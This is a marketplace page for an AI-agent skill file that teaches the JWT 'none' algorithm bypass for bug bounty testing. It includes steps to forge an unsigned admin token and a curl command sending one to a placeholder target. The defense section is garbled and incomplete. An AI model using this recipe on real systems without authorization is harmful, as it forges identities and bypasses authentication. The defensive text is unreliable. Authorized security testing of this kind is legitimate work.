agentsclimarketplace

Jwt null signature

Skill ShulkwiSEC/bb-huge/skills/curated/jwt-null-signature

bb-huge ๐Ÿค— , Personal bug bounty findings hub and bug bounty orchestration for multiple agents

Install
npx -y skills add ShulkwiSEC/bb-huge --skill jwt-null-signature

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Exploit JSON Web Tokens (JWT) by implementing the 'None' algorithm attack. This skill details how to bypass authentication mechanisms when a server improperly accepts JWTs with the `alg` header set to `none`, allowing attackers to forge tokens without a valid signature.

The file declares its own license as Apache-2.0. That is the authorโ€™s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

4.8 KB, as published. Nobody here has run it

JWT 'None' Algorithm Bypass

When to Use

  • When assessing web applications or microservices that utilize JWTs for authentication and authorization.
  • Specifically during the initial phases of analyzing a JWT implementation to check for fundamental configuration flaws in token verification.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Capture and Decode the Token

Intercept a valid request containing your JWT (usually in the Authorization: Bearer <token> header or a cookie). A JWT consists of three base64-url encoded parts separated by periods: Header.Payload.Signature.

# Concept: Decode the Header and Payload Token: eyJhbGciOiJIUzI1NiIsInR5cCI...
echo "eyJhbGciOiJIUzI1NiIsInR5cCI..." | base64 -d
# Header Output: {"alg":"HS256","typ":"JWT"}

Phase 2: Modify Header to 'None' Algorithm

Change the alg value in the header. Servers might accept variations of the string "none".

// {"alg": "none", "typ": "JWT"}
// Other variations to try: "None", "NONE", "nOnE"

Re-encode this modified header to Base64-URL format (ensure no padding =).

Phase 3: Modify Payload (Elevation of Privilege)

Modify the payload to elevate privileges or impersonate another user.

// {"sub": "admin", "iat": 1516239022, "admin": true}

Re-encode the modified payload to Base64-URL format.

Phase 4: Construct and Send the Forged Token

Combine the new header and payload, appending a trailing dot, but remove the signature completely.

# [Base64_Header_None].[Base64_Payload_Admin].

Send the request with the new token via Burp Suite or curl.

# curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTUxNjIzOTAyMiwiYWRtaW4iOnRydWV9." http://target.local/api/admin

Decision Point ๐Ÿ”€

flowchart TD
    A[Capture JWT ] --> B[Decode Header & Payload ]
    B --> C[Change alg to 'none' ]
    C --> D[Modify Payload ]
    D --> E[Re-encode (No Signature) ]
    E --> F{Bypass Successful? ]}
    F -->|Yes| G[Privilege Escalated ]
    F -->|No| H[Try other JWT attacks ]

๐Ÿ”ต Blue Team Detection & Defense

  • Enforce Algorithm Verification: Library Configuration: Reject 'None' Explicitly: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Jwt Null Signature โ€” Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] โ€” [Brief description]
  [Finding 2]: [Severity] โ€” [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

๐Ÿ“š Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.